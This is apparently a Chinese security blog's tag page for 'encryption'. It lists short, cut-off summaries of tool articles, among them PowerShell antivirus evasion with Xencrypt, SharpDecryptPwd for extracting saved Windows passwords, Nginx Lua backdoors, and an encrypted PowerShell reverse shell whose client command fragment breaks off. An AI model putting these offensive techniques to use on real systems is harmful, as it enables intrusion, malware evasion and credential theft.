加密

不再关注网络安全

APK签名替换检测

APK签名替换检测

APK二次打包的危害 APK二次打包是Android应用安全风险中的一部分, 一般是通过反编译工具向应用中插入广告代码与相关配置,再在第三方应用市场、论坛发布。打包党对移动App带来的危害有以下几种: 插入自...

PowerShell脚本免杀/bypass/绕过杀毒软件

PowerShell脚本免杀/bypass/绕过杀毒软件

Xencrypt Xencrypt是一个PowerShell加密程序,以达到某些场景下免杀/bypass/绕过杀毒软件的效果。厌倦了浪费大量时间混淆诸如invoke-mimikatz之类的PowerShell脚本,以至于无论如何都无法检测到它们?如果您...

Windows常用程序密码读取工具:SharpDecryptPwd

Windows常用程序密码读取工具:SharpDecryptPwd

SharpDecryptPwd 对密码已保存在 Windwos 系统上的部分程序进行解析,在 Windows 系统下保存密码,无非就只存在于两个位置:注册表、文件。所以下文主要也是从注册表项、session文件中获取相关加密后的密码字...

强大/免费/开源的《协作密码管理器》:Teampass

强大/免费/开源的《协作密码管理器》:Teampass

Teampass 协作密码管理器 TeamPass是一个密码管理器,致力于通过在团队成员之间共享密码来以协作方式管理密码。Teampass提供了大量功能,可针对每个用户定义的访问权限以有组织的方式管理您的密码和相关数据...

浅谈Nginx Lua安全应用示例:后门/监听/挂马等

浅谈Nginx Lua安全应用示例:后门/监听/挂马等

Nginx + Lua nginx是一个用C语言开发的高性能WEB服务器及反向代理服务器,先将Nginx+Lua组合到一起的是OpenResty(类似的还有淘宝的tengine)。OpenResty通过汇聚各种设计精良的 Nginx 模块,从而将 Nginx 有...

一个用于加密传输爆破的BurpSuite插件:jsEncrypter

一个用于加密传输爆破的BurpSuite插件:jsEncrypter

jsEncrypter jsEncrypter是一个BurpSuite插件,使用phantomjs调用前端加密函数对数据进行加密,方便对加密数据输入点进行fuzz。 jsEncrypter下载 1:直接在releases下载 2:自行编译: git clone...

微信聊天安全加密插件,类似Telegram的端对端安全加密:TgWechat

微信聊天安全加密插件,类似Telegram的端对端安全加密:TgWechat

TgWechat 微信聊天安全加密插件 仅供个人消遣玩耍,请勿用于非法或者商业用途。若用于非法用途,一切后果由使用者承担,与软件作者无关 一款采用Telegram类似的安全加密方案实现的保护个人隐私安全的微信...

专为macOS设计的优秀免费解压缩软件 – eZip

专为macOS设计的优秀免费解压缩软件 – eZip

eZip:macOS解压缩软件 解压缩需求是最为常见的,在macOS下也有多款解压缩软件,但好用点的基本都收费。体验盒子之前用过BetterZip和Archiver,虽然用着没问题,但看到eZip并试用后决定改用eZip来当mac的常用...

ReverseTCPShell:使用PowerShell通过TCP反弹加密Shell

ReverseTCPShell:使用PowerShell通过TCP反弹加密Shell

ReverseTCPShell 反弹加密shell 一个通过TCP加密(AES 256位)反弹Shell的工具,使用PowerShell。 使用 攻击方 (C2-Server 监听): PS> .\ReverseTCP.ps1 目标 (客户端): ECHO IEX([string](...

Packet Sender:发送和接收网络数据包工具,TCP/UDP/SSL/跨平台

Packet Sender:发送和接收网络数据包工具,TCP/UDP/SSL/跨平台

Packet Sender数据包工具 Packet Sender是一个开源实用程序,允许发送和接收TCP,UDP和SSL(加密的TCP)数据包。主线分支正式支持Windows,Mac和Desktop Linux(使用Qt)。其他地方可能会重新编译并重新分发P...